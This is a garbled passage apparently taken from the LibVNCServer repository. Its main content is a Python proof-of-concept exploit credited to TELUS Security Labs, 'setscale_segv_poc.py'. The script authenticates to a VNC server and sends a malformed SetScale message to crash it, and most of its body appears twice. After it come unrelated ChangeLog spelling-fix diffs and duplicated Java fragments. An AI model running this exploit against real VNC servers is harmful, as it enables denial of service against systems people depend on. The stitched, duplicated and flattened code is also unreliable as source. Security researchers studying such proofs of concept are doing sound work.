(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port>
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occurred.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
2014-10-14 dscho <johannes.schindelin@gmx.de>
@ -1361,7 +1361,7 @@
* libvncserver/Makefile.am: Fix build error when libpng is
available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses
libjpeg features. We could probably seperate that, but for now the
libjpeg features. We could probably separate that, but for now the
dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around.
2011-12-01 Christian Beier <dontmind@freeshell.org>
@ -1527,10 +1527,10 @@
2011-10-16 George Fleury <gfleury@gmail.com>
* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didn't look the whole libvncserver api, but i am using
rfbReverseConnection with rfbProcessEvents, and then when the client
connection dies, i am calling a rfbShutdownServer and
rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isn't been
freed. So to free the stats i added a rfbResetStats(cl) after
rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
free the cl pointer. (at rfbserver.c line 555). And this, obviously,
@ -1685,7 +1685,7 @@
2011-08-25 Gernot Tenchio <gernot@tenchio.de>
* libvncserver/websockets.c: websockets: added gcrypt based sha1
digest funtion
digest function
2011-08-25 Joel Martin <jmartin@sentryds.com>
@ -1901,7 +1901,7 @@
2010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com>
* libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected
* libvncserver/tight.c: Fix memory corruption bug. This bug occurred when a second telepathy tubes client was connected
after the first one had disconnected and the channel (thus, the
screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
@ -2070,7 +2070,7 @@
common/minilzo.h, libvncclient/Makefile.am,
libvncserver/Makefile.am: Update minilzo library used for Ultra
encoding to ver 2.04. According to the minilzo README, this brings a significant speedup
on 64-bit architechtures. Changes compared to old version 1.08 can be found here:
on 64-bit architectures. Changes compared to old version 1.08 can be found here:
http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org>
2011-01-24 Christian Beier <dontmind@freeshell.org>
if (sFileName.substring(0, 2).equals(" [") && sFileName.substring((sFileName.length() - 1), sFileName.length()).equals("]"))
{
- JOptionPane.showMessageDialog(null, (String)"Directory Transfer is not yet available in this version...", "FileTransfer Info", JOptionPane.INFORMATION_MESSAGE);
if (sFileName.substring(0, 2).equals(" [") && sFileName.substring((sFileName.length() - 1), sFileName.length()).equals("]"))
{
- JOptionPane.showMessageDialog(null, (String)"Directory Transfer is not yet available in this version...", "FileTransfer Info", JOptionPane.INFORMATION_MESSAGE);
Stefan Weil
9 years ago